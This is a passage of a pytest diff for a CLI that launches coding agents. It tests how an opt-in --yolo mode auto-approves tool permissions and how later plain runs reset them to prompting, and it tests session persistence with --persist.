+def test_yolo_opencode_run_uses_native_auto(fake_studio):
+    result = CliRunner().invoke(
+        start.start_app,
+        ["opencode", "--yolo", "--no-launch", "run", "hello"],
+    )
+    assert result.exit_code == 0, result.output
+    command = _launch_command(result.output)
+    assert command == ["opencode", "run", "hello", "--auto"]
+    assert "permission" not in _opencode_inline_config(result.output)
+
+
+def test_yolo_opencode_tui_resume_uses_native_auto(fake_studio):
+    result = CliRunner().invoke(
+        start.start_app,
+        ["opencode", "--yolo", "--no-launch", "--session", "sid"],
+    )
+    assert result.exit_code == 0, result.output
+    command = _launch_command(result.output)
+    assert command == ["opencode", "--session", "sid", "--auto"]
+    assert "permission" not in _opencode_inline_config(result.output)
+
+
+def test_no_yolo_opencode_run_omits_native_auto(fake_studio):
+    result = CliRunner().invoke(
+        start.start_app,
+        ["opencode", "--no-launch", "run", "hello"],
+    )
+    assert result.exit_code == 0, result.output
+    assert _launch_command(result.output) == ["opencode", "run", "hello"]
+    assert "permission" not in _opencode_inline_config(result.output)
+
+
+def test_yolo_opencode_bare_launch_uses_native_auto(fake_studio, monkeypatch):
+    monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/opencode")
+    monkeypatch.setattr(start, "_opencode_supports_native_auto", lambda: True)
+    captured = _capture_launch(monkeypatch, ["opencode", "--yolo"])
+    assert captured["command"][1:] == [
+        "--model",
+        f"{start._OPENCODE_PROVIDER}/{MODEL['id']}",
+        "--auto",
+    ]
+    assert "permission" not in json.loads(captured["env"]["OPENCODE_CONFIG_CONTENT"])
+
+
+def test_yolo_opencode_native_auto_clears_prior_config_fallback(fake_studio, tmp_path):
+    fallback = CliRunner().invoke(
+        start.start_app,
+        ["opencode", "--yolo", "--no-launch"],
+    )
+    assert fallback.exit_code == 0, fallback.output
+
+    native = CliRunner().invoke(
+        start.start_app,
+        ["opencode", "--yolo", "--no-launch", "run", "hello"],
+    )
+    assert native.exit_code == 0, native.output
+    assert _launch_command(native.output) == ["opencode", "run", "hello", "--auto"]
+    assert "permission" not in _opencode_inline_config(native.output)
+    config = json.loads((tmp_path / "agents" / "opencode" / "opencode.json").read_text())
+    assert config["permission"] == {
+        "edit": "ask",
+        "bash": "ask",
+        "webfetch": "ask",
+        "external_directory": {"*": "ask"},
+    }
+
+
+@pytest.mark.parametrize(
+    ("version", "expected"),
+    [
+        ("1.17.11", False),
+        ("1.17.12", True),
+        ("opencode 1.18.2", True),
+        ("development build", False),
+    ],
+)
+def test_opencode_native_auto_version_gate(monkeypatch, version, expected):
+    monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/opencode")
+    monkeypatch.setattr(start.subprocess, "check_output", lambda *args, **kwargs: version)
+    assert start._opencode_supports_native_auto() is expected
+
+
+def test_opencode_native_auto_assumes_current_without_local_binary(monkeypatch):
+    monkeypatch.setattr(start.shutil, "which", lambda _: None)
+    assert start._opencode_supports_native_auto() is True
+
+
+def test_yolo_opencode_old_version_uses_config_fallback(fake_studio, monkeypatch):
+    monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/opencode")
+    monkeypatch.setattr(start.subprocess, "check_output", lambda *args, **kwargs: "1.17.11")
+    result = CliRunner().invoke(
+        start.start_app,
+        ["opencode", "--yolo", "--no-launch", "run", "hello"],
+    )
+    assert result.exit_code == 0, result.output
+    assert _launch_command(result.output) == ["opencode", "run", "hello"]
+    assert _opencode_inline_config(result.output)["permission"] == {
+        "edit": "allow",
+        "bash": "allow",
+        "webfetch": "allow",
+        "external_directory": {"*": "allow"},
+    }
+
+
+@pytest.mark.parametrize(
+    ("args", "expected", "native"),
+    [
+        ([], ["--auto"], True),
+        (["run", "hello"], ["run", "hello", "--auto"], True),
+        (
+            ["run", "hello", "--", "--literal"],
+            ["run", "hello", "--auto", "--", "--literal"],
+            True,
+        ),
+        (["--print-logs", "run", "hello"], ["--print-logs", "run", "hello", "--auto"], True),
+        (["--session", "serve"], ["--session", "serve", "--auto"], True),
+        (["serve"], ["serve"], False),
+        (["--print-logs", "serve"], ["--print-logs", "serve"], False),
+        (["run", "--auto", "hello"], ["run", "--auto", "hello"], True),
+        # Hidden commands that reject --auto fall back like the visible utility ones.
+        (["generate"], ["generate"], False),
+        (["console", "login"], ["console", "login"], False),
+        # --mini ignores --auto (runMini forces auto=false), so use the config fallback.
+        (["--mini"], ["--mini"], False),
+        (["--session", "sid", "--mini"], ["--session", "sid", "--mini"], False),
+    ],
+)
+def test_opencode_native_auto_args(args, expected, native):
+    assert start._opencode_native_auto_args(args, True) == (expected, native)
+    assert start._opencode_native_auto_args(args, False) == (args, False)
+
+
+def test_yolo_opencode_non_agent_subcommand_uses_config_fallback(fake_studio):
+    result = CliRunner().invoke(
+        start.start_app,
+        ["opencode", "--yolo", "--no-launch", "serve"],
+    )
+    assert result.exit_code == 0, result.output
+    command = _launch_command(result.output)
+    assert command == ["opencode", "serve"]
+    assert _opencode_inline_config(result.output)["permission"] == {
+        "edit": "allow",
+        "bash": "allow",
+        "webfetch": "allow",
+        "external_directory": {"*": "allow"},
+    }
+
+
+@pytest.mark.parametrize("passthrough", (["generate"], ["console", "login"], ["--mini"]))
+def test_yolo_opencode_no_auto_command_uses_config_fallback(fake_studio, passthrough):
+    # generate/console are hidden and reject --auto, --mini ignores it: none get --auto,
+    # all keep the config permission fallback.
+    result = CliRunner().invoke(
+        start.start_app,
+        ["opencode", "--yolo", "--no-launch", *passthrough],
+    )
+    assert result.exit_code == 0, result.output
+    assert _launch_command(result.output) == ["opencode", *passthrough]
+    assert _opencode_inline_config(result.output)["permission"] == {
+        "edit": "allow",
+        "bash": "allow",
+        "webfetch": "allow",
+        "external_directory": {"*": "allow"},
+    }
 
 
 def test_no_yolo_opencode_has_no_permission_block(fake_studio, tmp_path):
     result = CliRunner().invoke(start.start_app, ["opencode", "--no-launch"])
     assert result.exit_code == 0, result.output
     config = json.loads((tmp_path / "agents" / "opencode" / "opencode.json").read_text())
+    # A non-yolo run on a fresh config writes no permission block; it only flips a prior
+    # --yolo run's explicit allow back to ask (see the yolo-then-plain test below).
     assert "permission" not in config
 
 
+def test_no_yolo_opencode_flips_prior_yolo_allow_to_ask(fake_studio, tmp_path):
+    # The core reset: a --yolo run wrote explicit per-tool allow; a later non-yolo run
+    # must flip exactly those back to ask so nothing stays auto-approved.
+    yolo = CliRunner().invoke(start.start_app, ["opencode", "--yolo", "--no-launch"])
+    assert yolo.exit_code == 0, yolo.output
+    config_path = tmp_path / "agents" / "opencode" / "opencode.json"
+    assert json.loads(config_path.read_text())["permission"] == {
+        "edit": "allow",
+        "bash": "allow",
+        "webfetch": "allow",
+        "external_directory": {"*": "allow"},
+    }
+    plain = CliRunner().invoke(start.start_app, ["opencode", "--no-launch"])
+    assert plain.exit_code == 0, plain.output
+    assert json.loads(config_path.read_text())["permission"] == {
+        "edit": "ask",
+        "bash": "ask",
+        "webfetch": "ask",
+        "external_directory": {"*": "ask"},
+    }
+
+
 def test_yolo_openclaw_writes_exec_policy(fake_studio, tmp_path):
     result = CliRunner().invoke(start.start_app, ["openclaw", "--yolo", "--no-launch"])
     assert result.exit_code == 0, result.output
@@ -1691,12 +3767,17 @@ def test_yolo_openclaw_writes_exec_policy(fake_studio, tmp_path):
     assert approvals["defaults"] == {"security": "full", "ask": "off", "askFallback": "full"}
 
 
-def test_no_yolo_openclaw_has_no_exec_policy(fake_studio, tmp_path):
+def test_no_yolo_openclaw_leaves_fresh_config_untouched(fake_studio, tmp_path):
+    # A fresh non-yolo run only undoes state a prior --yolo wrote; with no yolo
+    # fingerprint present it must not synthesize an exec policy. An omitted policy can
+    # resolve to a sandbox default of security=deny, so writing allowlist here would
+    # BROADEN it. The reset is scoped to the exact yolo write, verified by the
+    # yolo-then-plain round trip below.
     result = CliRunner().invoke(start.start_app, ["openclaw", "--no-launch"])
     assert result.exit_code == 0, result.output
     state = tmp_path / "agents" / "openclaw"
     config = json.loads((state / "openclaw.json").read_text())
-    assert "exec" not in config.get("tools", {})  # no auto-approve policy without --yolo
+    assert "exec" not in config.get("tools", {})
     assert not (state / "exec-approvals.json").exists()
 
 
@@ -1704,7 +3785,12 @@ def test_write_opencode_config_yolo_unit(tmp_path):
     path = tmp_path / "opencode.json"
     start.write_opencode_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = True)
     config = json.loads(path.read_text())
-    assert config["permission"] == {"edit": "allow", "bash": "allow", "webfetch": "allow"}
+    assert config["permission"] == {
+        "edit": "allow",
+        "bash": "allow",
+        "webfetch": "allow",
+        "external_directory": {"*": "allow"},
+    }
 
 
 def test_write_openclaw_config_yolo_unit(tmp_path):
@@ -1719,16 +3805,302 @@ def test_write_openclaw_config_yolo_unit(tmp_path):
     }
 
 
+def test_no_launch_rerun_clears_stale_opencode_yolo_permissions(fake_studio, tmp_path):
+    # The no-launch config dir is reused across runs, so a --yolo run persists its
+    # auto-approve settings; a later run without --yolo must strip them, not leave
+    # tool execution silently pre-approved.
+    yolo = CliRunner().invoke(start.start_app, ["opencode", "--yolo", "--no-launch"])
+    assert yolo.exit_code == 0, yolo.output
+    config_path = tmp_path / "agents" / "opencode" / "opencode.json"
+    assert "permission" in json.loads(config_path.read_text())
+    plain = CliRunner().invoke(start.start_app, ["opencode", "--no-launch"])
+    assert plain.exit_code == 0, plain.output
+    config = json.loads(config_path.read_text())
+    # The yolo allow policy is replaced by a prompting one, not deleted (which would
+    # revert to OpenCode's permissive "allow" default).
+    assert config["permission"] == {
+        "edit": "ask",
+        "bash": "ask",
+        "webfetch": "ask",
+        "external_directory": {"*": "ask"},
+    }
+    # The session provider survives the cleanup.
+    assert start._OPENCODE_PROVIDER in config["provider"]
+
+
+def test_no_launch_rerun_clears_stale_openclaw_yolo_state(fake_studio, tmp_path):
+    yolo = CliRunner().invoke(start.start_app, ["openclaw", "--yolo", "--no-launch"])
+    assert yolo.exit_code == 0, yolo.output
+    state = tmp_path / "agents" / "openclaw"
+    assert (state / "exec-approvals.json").exists()
+    plain = CliRunner().invoke(start.start_app, ["openclaw", "--no-launch"])
+    assert plain.exit_code == 0, plain.output
+    config = json.loads((state / "openclaw.json").read_text())
+    # The yolo policy is replaced by a prompting one, not deleted (which would revert
+    # to OpenClaw's permissive default), and the yolo approvals file is gone.
+    assert config["tools"]["exec"] == {"security": "allowlist", "ask": "on-miss"}
+    assert not (state / "exec-approvals.json").exists()
+    # The session provider survives the cleanup.
+    assert "unsloth" in config["models"]["providers"]
+
+
+def test_write_openclaw_config_yolo_then_plain_unit(tmp_path):
+    path = tmp_path / "openclaw.json"
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = True)
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+    config = json.loads(path.read_text())
+    # A plain rerun replaces the yolo policy with a prompting one (deleting it would
+    # fall back to OpenClaw's permissive default) and removes the yolo approvals file.
+    assert config["tools"]["exec"] == {"security": "allowlist", "ask": "on-miss"}
+    assert not (path.parent / "exec-approvals.json").exists()
+
+
+def test_write_opencode_config_yolo_then_plain_unit(tmp_path):
+    path = tmp_path / "opencode.json"
+    start.write_opencode_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = True)
+    start.write_opencode_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+    config = json.loads(path.read_text())
+    # A plain rerun replaces the yolo allow policy with a prompting one.
+    assert config["permission"] == {
+        "edit": "ask",
+        "bash": "ask",
+        "webfetch": "ask",
+        "external_directory": {"*": "ask"},
+    }
+
+
+def test_openclaw_non_yolo_keeps_runtime_approvals(tmp_path):
+    # OpenClaw records its own entries in exec-approvals.json (OPENCLAW_STATE_DIR is
+    # this dir); the non-yolo reset drops only the yolo defaults, not those.
+    path = tmp_path / "openclaw.json"
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = True)
+    approvals = path.parent / "exec-approvals.json"
+    state = json.loads(approvals.read_text())
+    state["agents"] = {"main": {"allowlist": ["git status"]}}
+    approvals.write_text(json.dumps(state))
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+    remaining = json.loads(approvals.read_text())
+    assert "defaults" not in remaining
+    assert remaining["agents"] == {"main": {"allowlist": ["git status"]}}
+
+
+def test_openclaw_non_yolo_keeps_mixed_approval_defaults(tmp_path):
+    # A mixed user-managed defaults block that only shares a field with the yolo payload
+    # (here askFallback=full, whose omitted default is deny) is not stale yolo state, so a
+    # non-yolo run leaves it intact rather than stripping the shared field.
+    path = tmp_path / "openclaw.json"
+    approvals = path.parent / "exec-approvals.json"
+    mixed = {
+        "version": 1,
+        "defaults": {"security": "allowlist", "ask": "on-miss", "askFallback": "full"},
+    }
+    approvals.write_text(json.dumps(mixed))
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+    assert json.loads(approvals.read_text()) == mixed
+
+
+def test_openclaw_non_yolo_leaves_partial_policy_untouched(tmp_path):
+    # A policy that lacks the full yolo fingerprint (here no host and no security) is not
+    # our --yolo write, so a non-yolo run leaves it as-is rather than assuming ask=off
+    # means permissive: an omitted host/security can resolve to a sandbox deny default.
+    path = tmp_path / "openclaw.json"
+    path.write_text(json.dumps({"tools": {"exec": {"timeout": 30, "ask": "off"}}}))
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+    config = json.loads(path.read_text())
+    assert config["tools"]["exec"] == {"timeout": 30, "ask": "off"}
+
+
+def test_openclaw_non_yolo_leaves_no_permissive_values(tmp_path):
+    # The whole point of the reset: after a yolo run, a plain run must leave neither the
+    # config nor the approvals file at OpenClaw's permissive (security=full, ask=off)
+    # default, or exec still auto-approves.
+    path = tmp_path / "openclaw.json"
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = True)
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+    exec_policy = json.loads(path.read_text())["tools"]["exec"]
+    assert exec_policy.get("security") != "full"
+    assert exec_policy.get("ask") != "off"
+    assert not (path.parent / "exec-approvals.json").exists()
+
+
+def test_openclaw_non_yolo_preserves_stricter_exec_policy(tmp_path):
+    # A policy that doesn't carry the yolo values (for example stricter security or
+    # prompting turned on) was not written by --yolo and must survive a plain run.
+    path = tmp_path / "openclaw.json"
+    path.write_text(json.dumps({"tools": {"exec": {"security": "deny", "ask": "on"}}}))
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+    config = json.loads(path.read_text())
+    assert config["tools"]["exec"] == {"security": "deny", "ask": "on"}
+
+
+def test_openclaw_non_yolo_preserves_stricter_approval_defaults(tmp_path):
+    # exec-approvals.json defaults that don't match the yolo payload (stricter
+    # settings from the user or the OpenClaw UI) are kept, and the file stays.
+    path = tmp_path / "openclaw.json"
+    approvals = path.parent / "exec-approvals.json"
+    approvals.write_text(
+        json.dumps({"version": 1, "defaults": {"security": "allowlist", "ask": "on"}})
+    )
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+    state = json.loads(approvals.read_text())
+    assert state["defaults"] == {"security": "allowlist", "ask": "on"}
+
+
+def test_openclaw_non_yolo_leaves_unparseable_approvals(tmp_path):
+    # An unreadable approvals file is left in place rather than deleted, matching
+    # how an unparseable config is handled.
+    path = tmp_path / "openclaw.json"
+    approvals = path.parent / "exec-approvals.json"
+    approvals.write_text("{not json")
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+    assert approvals.read_text() == "{not json"
+
+
+def test_opencode_non_yolo_flips_only_explicit_allow(tmp_path):
+    # Only a tool explicitly set to "allow" (what --yolo writes) is flipped to "ask". A
+    # deny/ask a user set is kept, and an absent tool is not added.
+    path = tmp_path / "opencode.json"
+    path.write_text(json.dumps({"permission": {"edit": "allow", "bash": "deny", "read": "ask"}}))
+    session = start.write_opencode_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+    config = json.loads(path.read_text())
+    assert config["permission"] == {"edit": "ask", "bash": "deny", "read": "ask"}
+    assert session == {}  # a non-yolo session carries no permission inline
+
+
+def test_opencode_subagent_non_yolo_clears_yolo_task_permission(tmp_path):
+    path = tmp_path / "opencode.json"
+    start.write_opencode_config(
+        BASE,
+        "sk-unsloth-abc",
+        MODEL,
+        path,
+        yolo = True,
+        as_subagent = True,
+    )
+    start.write_opencode_config(
+        BASE,
+        "sk-unsloth-abc",
+        MODEL,
+        path,
+        as_subagent = True,
+    )
+
+    assert json.loads(path.read_text())["permission"]["task"] == "ask"
+
+
+def test_opencode_non_yolo_leaves_string_permission(tmp_path):
+    # A global string rule ("deny") is a user-managed catch-all; leave it untouched and
+    # carry no inline override.
+    path = tmp_path / "opencode.json"
+    path.write_text(json.dumps({"permission": "deny"}))
+    session = start.write_opencode_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+    assert json.loads(path.read_text())["permission"] == "deny"
+    assert session == {}
+
+
+def test_opencode_non_yolo_leaves_catch_all_and_flips_explicit_allow(tmp_path):
+    # A "*" catch-all is the user's own rule, never something --yolo writes (yolo sets
+    # explicit per-tool allow), so it is left intact; an explicit per-tool "allow" is still
+    # flipped to "ask", but an absent tool inheriting the catch-all is not touched.
+    path = tmp_path / "opencode.json"
+    path.write_text(json.dumps({"permission": {"*": "allow", "bash": "allow"}}))
+    session = start.write_opencode_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+    assert json.loads(path.read_text())["permission"] == {"*": "allow", "bash": "ask"}
+    assert session == {}
+
+
+def test_opencode_non_yolo_leaves_granular_object(tmp_path):
+    # A granular object value is a user rule (yolo only ever writes a plain "allow" string),
+    # so it is left in the file verbatim and never carried inline.
+    path = tmp_path / "opencode.json"
+    obj = {"read *": "deny", "git *": "ask"}
+    path.write_text(json.dumps({"permission": {"bash": dict(obj)}}))
+    session = start.write_opencode_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+    assert json.loads(path.read_text())["permission"]["bash"] == obj
+    assert session == {}
+
+
+def test_openclaw_non_yolo_leaves_mode_policy(tmp_path):
+    # tools.exec.mode is OpenClaw's normalized knob and cannot be combined with explicit
+    # security/ask (the config is rejected), so a mode-based policy must be left as-is.
+    path = tmp_path / "openclaw.json"
+    path.write_text(json.dumps({"tools": {"exec": {"mode": "deny"}}}))
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+    config = json.loads(path.read_text())
+    assert config["tools"]["exec"] == {"mode": "deny"}
+
+
+def test_openclaw_non_yolo_preserves_sandbox_host(tmp_path):
+    # host=sandbox defaults to security=deny (stricter than the gateway "full" default),
+    # so a non-yolo run must not treat the missing security as permissive nor pop host
+    # (which would broaden routing to the gateway).
+    path = tmp_path / "openclaw.json"
+    path.write_text(json.dumps({"tools": {"exec": {"host": "sandbox"}}}))
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+    config = json.loads(path.read_text())
+    assert config["tools"]["exec"] == {"host": "sandbox"}
+
+
+def test_openclaw_non_yolo_preserves_node_host(tmp_path):
+    # host=node routes to a paired node and is only ever set by the user (--yolo writes
+    # host=gateway), so a non-yolo run must not pop it and reroute to the gateway.
+    path = tmp_path / "openclaw.json"
+    path.write_text(json.dumps({"tools": {"exec": {"host": "node"}}}))
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+    config = json.loads(path.read_text())
+    assert config["tools"]["exec"] == {"host": "node"}
+
+
+def test_openclaw_non_yolo_preserves_auto_host_permissive(tmp_path):
+    # host=auto (or omitted) with security=full/ask=off is NOT the --yolo write: under an
+    # active sandbox, auto resolves to security=deny. --yolo only ever writes host=gateway,
+    # so the reset must not treat auto/None as the permissive gateway default and broaden a
+    # sandboxed deny to allowlist.
+    for exec_policy in (
+        {"host": "auto", "security": "full", "ask": "off"},
+        {"security": "full", "ask": "off"},
+    ):
+        path = tmp_path / "openclaw.json"
+        path.write_text(json.dumps({"tools": {"exec": dict(exec_policy)}}))
+        start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+        config = json.loads(path.read_text())
+        assert config["tools"]["exec"] == exec_policy
+
+
+def test_openclaw_non_yolo_resets_only_gateway_yolo_fingerprint(tmp_path):
+    # The reset fires on exactly the host=gateway + security=full + ask=off write --yolo
+    # makes, and nothing else.
+    path = tmp_path / "openclaw.json"
+    path.write_text(
+        json.dumps({"tools": {"exec": {"host": "gateway", "security": "full", "ask": "off"}}})
+    )
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+    config = json.loads(path.read_text())
+    assert config["tools"]["exec"] == {"security": "allowlist", "ask": "on-miss"}
+
+
+def test_openclaw_non_yolo_preserves_full_mode(tmp_path):
+    # OpenClaw never normalizes our security=full/ask=off yolo write into mode:"full"
+    # (verified against the binary: doctor --fix and config get leave security/ask as-is),
+    # so a mode:"full" is always a deliberate user policy, not stale yolo state; leave it.
+    path = tmp_path / "openclaw.json"
+    path.write_text(json.dumps({"tools": {"exec": {"mode": "full"}}}))
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+    config = json.loads(path.read_text())
+    assert config["tools"]["exec"] == {"mode": "full"}
+
+
 def test_yolo_command_flags_unmapped_agent_is_empty():
-    # Config-based agents (and any typo) must yield no flag, not a KeyError.
+    # Placement-aware/config-based agents (and any typo) must yield no prefix flag.
     assert start._yolo_command_flags("opencode", True) == []
     assert start._yolo_command_flags("openclaw", True) == []
     assert start._yolo_command_flags("claude", True) == ["--dangerously-skip-permissions"]
     assert start._yolo_command_flags("claude", False) == []
 
 
-def test_yolo_config_agents_add_no_command_flag(fake_studio):
-    # opencode/openclaw auto-approve is config-only; nothing should leak onto argv.
+def test_yolo_config_fallbacks_add_no_legacy_command_flag(fake_studio):
+    # OpenClaw is config-only; OpenCode's append-safe bare recipe uses its config fallback.
+    # Neither should leak a legacy yolo/dangerous alias onto argv.
     for agent in ("opencode", "openclaw"):
         result = CliRunner().invoke(start.start_app, [agent, "--yolo", "--no-launch"])
         assert result.exit_code == 0, result.output
@@ -1769,7 +4141,7 @@ def test_claude_launch_does_not_clear(fake_studio, monkeypatch):
     calls = []
     monkeypatch.setattr(start.click, "clear", lambda: calls.append("clear"))
     monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/claude")
-    monkeypatch.setattr(start, "_claude_flags", lambda: [])
+    monkeypatch.setattr(start, "_claude_flags", lambda *a, **k: [])
     monkeypatch.setattr(start.subprocess, "run", lambda command, env: SimpleNamespace(returncode = 0))
     result = CliRunner().invoke(start.start_app, ["claude"])
     assert result.exit_code == 0, result.output
@@ -1828,7 +4200,7 @@ def test_agent_api_key_auto_started_rejected_env_key_falls_back(fake_studio, tmp
 
 
 def test_agent_api_key_auto_started_accepted_key_is_honored(fake_studio, tmp_path):
-    # An explicit key the fresh server accepts (e.g. persisted in this Studio
+    # An explicit key the fresh server accepts (e.g. persisted in this Unsloth
     # home's auth db across restarts) keeps working exactly as before.
     key = start._agent_api_key(BASE, "sk-unsloth-deadbeefdeadbeef", auto_started = True)
     assert key == "sk-unsloth-deadbeefdeadbeef"
@@ -1846,3 +4218,273 @@ def test_session_config_no_launch_preserves_existing_state(fake_studio, tmp_path
     with start._session_config("codex", launch = False) as home2:
         assert home2 == home
         assert (home2 / "sessions" / "live.sqlite").read_text() == "state"
+
+
+# ── --persist: persist the agent session so it can be resumed ────────────────
+def test_session_config_persist_uses_stable_dir_and_survives(monkeypatch, tmp_path):
+    # --persist routes a launch to the stable Unsloth agents dir (the one --no-launch
+    # already uses) instead of a throwaway temp dir, and never wipes it on exit.
+    monkeypatch.setattr(start, "_agents_config_root", lambda: tmp_path / "agents")
+    with start._session_config("codex", launch = True, persist = True) as home:
+        assert home == tmp_path / "agents" / "codex"
+        (home / "marker").write_text("kept")
+    assert home.exists()
+    assert (home / "marker").read_text() == "kept"
+
+
+def test_session_config_default_launch_is_ephemeral():
+    # Default launch (no --persist) still uses a throwaway temp dir wiped on exit.
+    with start._session_config("codex", launch = True) as home:
+        assert home.exists()
+        assert "unsloth-codex-" in home.name
+    assert not home.exists()
+
+
+# The temp-dir agents: --persist points each one's home/state env at the stable dir;
+# without it, at an ephemeral temp path. opencode is handled separately (only its
+# config overlay is relocated; its session data was never in the temp dir).
+_RESUME_ENV_VAR = {
+    "codex": "CODEX_HOME",
+    "openclaw": "OPENCLAW_STATE_DIR",
+    "hermes": "HERMES_HOME",
+    "pi": "HOME",
+}
+
+
+def _capture_launch(monkeypatch, argv):
+    captured = {}
+
+    def run(
+        command,
+        env = None,
+        **kwargs,
+    ):
+        captured["command"] = command
+        captured["env"] = env
+        return SimpleNamespace(returncode = 0)
+
+    monkeypatch.setattr(start.subprocess, "run", run)
+    result = CliRunner().invoke(start.start_app, argv)
+    assert result.exit_code == 0, result.output
+    return captured
+
+
+@pytest.mark.parametrize("agent", sorted(_RESUME_ENV_VAR))
+def test_resume_persists_agent_home_to_stable_dir(agent, fake_studio, tmp_path, monkeypatch):
+    monkeypatch.setattr(start.shutil, "which", lambda _: f"/usr/local/bin/{agent}")
+    captured = _capture_launch(monkeypatch, [agent, "--persist"])
+    stable = tmp_path / "agents" / agent
+    assert captured["env"][_RESUME_ENV_VAR[agent]] == str(stable)
+    # The stable dir survives the agent exit, so the session can be resumed.
+    assert stable.exists()
+
+
+@pytest.mark.parametrize("agent", sorted(_RESUME_ENV_VAR))
+def test_default_launch_home_is_ephemeral(agent, fake_studio, tmp_path, monkeypatch):
+    monkeypatch.setattr(start.shutil, "which", lambda _: f"/usr/local/bin/{agent}")
+    captured = _capture_launch(monkeypatch, [agent])
+    home = captured["env"][_RESUME_ENV_VAR[agent]]
+    assert f"unsloth-{agent}-" in home
+    assert str(tmp_path / "agents") not in home
+
+
+def test_resume_opencode_config_in_stable_dir(fake_studio, tmp_path, monkeypatch):
+    # opencode's session data lives in ~/.local/share/opencode (never relocated), so
+    # resume already survives exit; --persist also stabilizes its config overlay dir.
+    monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/opencode")
+    captured = _capture_launch(monkeypatch, ["opencode", "--persist"])
+    stable = tmp_path / "agents" / "opencode"
+    assert captured["env"]["OPENCODE_CONFIG"] == str(stable / "opencode.json")
+    assert stable.exists()
+
+
+def test_persist_bare_codex_launch_has_no_resume_token(fake_studio, monkeypatch):
+    # A bare `--persist` only persists the session dir; it must NOT auto-append a native
+    # resume token, or the very first launch (no session yet) would send codex down its
+    # no-session error path. The user resumes explicitly: `unsloth start codex --persist resume`.
+    monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/codex")
+    captured = _capture_launch(monkeypatch, ["codex", "--persist"])
+    assert "resume" not in captured["command"]
+    # command[0] is the resolved executable path; assert the argv after it.
+    assert captured["command"][1:] == ["--oss", "--profile", start._CODEX_PROFILE]
+
+
+def test_persist_bare_opencode_launch_has_no_resume_token(fake_studio, monkeypatch):
+    monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/opencode")
+    captured = _capture_launch(monkeypatch, ["opencode", "--persist"])
+    assert "--continue" not in captured["command"]
+    assert captured["command"][1:] == ["--model", f"{start._OPENCODE_PROVIDER}/{MODEL['id']}"]
+
+
+def test_persist_bare_claude_launch_has_no_resume_token(fake_studio, monkeypatch):
+    monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/claude")
+    monkeypatch.setattr(start, "_claude_flags", lambda *a, **k: [])
+    captured = _capture_launch(monkeypatch, ["claude", "--persist"])
+    assert "--continue" not in captured["command"]
+    assert captured["command"][1:] == ["--model", MODEL["id"]]
+
+
+def test_resume_with_passthrough_does_not_auto_append(fake_studio, monkeypatch):
+    # When the caller drives their own subcommand, --persist only persists the dir; it
+    # must not inject a resume token that would collide with the user's command.
+    monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/codex")
+    captured = _capture_launch(monkeypatch, ["codex", "--persist", "exec", "hello"])
+    assert "resume" not in captured["command"]
+    assert captured["command"][-2:] == ["exec", "hello"]
+
+
+def test_default_launch_has_no_resume_token(fake_studio, monkeypatch):
+    monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/codex")
+    captured = _capture_launch(monkeypatch, ["codex"])
+    assert "resume" not in captured["command"]
+
+
+def test_resume_persist_only_agents_have_no_resume_token(fake_studio, monkeypatch):
+    # Persistence alone must not select a session.
+    for agent in ("openclaw", "hermes"):
+        monkeypatch.setattr(start.shutil, "which", lambda _, a = agent: f"/usr/local/bin/{a}")
+        captured = _capture_launch(monkeypatch, [agent, "--persist"])
+        assert "resume" not in captured["command"]
+        assert "--continue" not in captured["command"]
+
+
+@pytest.mark.parametrize(
+    ("args", "expected"),
+    [
+        (
+            ["--resume", "session-id", "-z", "follow up"],
+            [
+                "chat",
+                "-Q",
+                "--yolo",
+                "--accept-hooks",
+                "--resume",
+                "session-id",
+                "-q",
+                "follow up",
+            ],
+        ),
+        (
+            ["-rsession-id", "-zfollow up"],
+            ["chat", "-Q", "--yolo", "--accept-hooks", "-rsession-id", "-qfollow up"],
+        ),
+        (
+            ["-c=project", "-z=follow up"],
+            ["chat", "-Q", "--yolo", "--accept-hooks", "-c=project", "-q=follow up"],
+        ),
+        (
+            ["-r", "session-id", "--oneshot=follow up"],
+            [
+                "chat",
+                "-Q",
+                "--yolo",
+                "--accept-hooks",
+                "-r",
+                "session-id",
+                "--query=follow up",
+            ],
+        ),
+        (
+            ["--continue", "project", "--oneshot", "follow up"],
+            [
+                "chat",
+                "-Q",
+                "--yolo",
+                "--accept-hooks",
+                "--continue",
+                "project",
+                "-q",
+                "follow up",
+            ],
+        ),
+        (
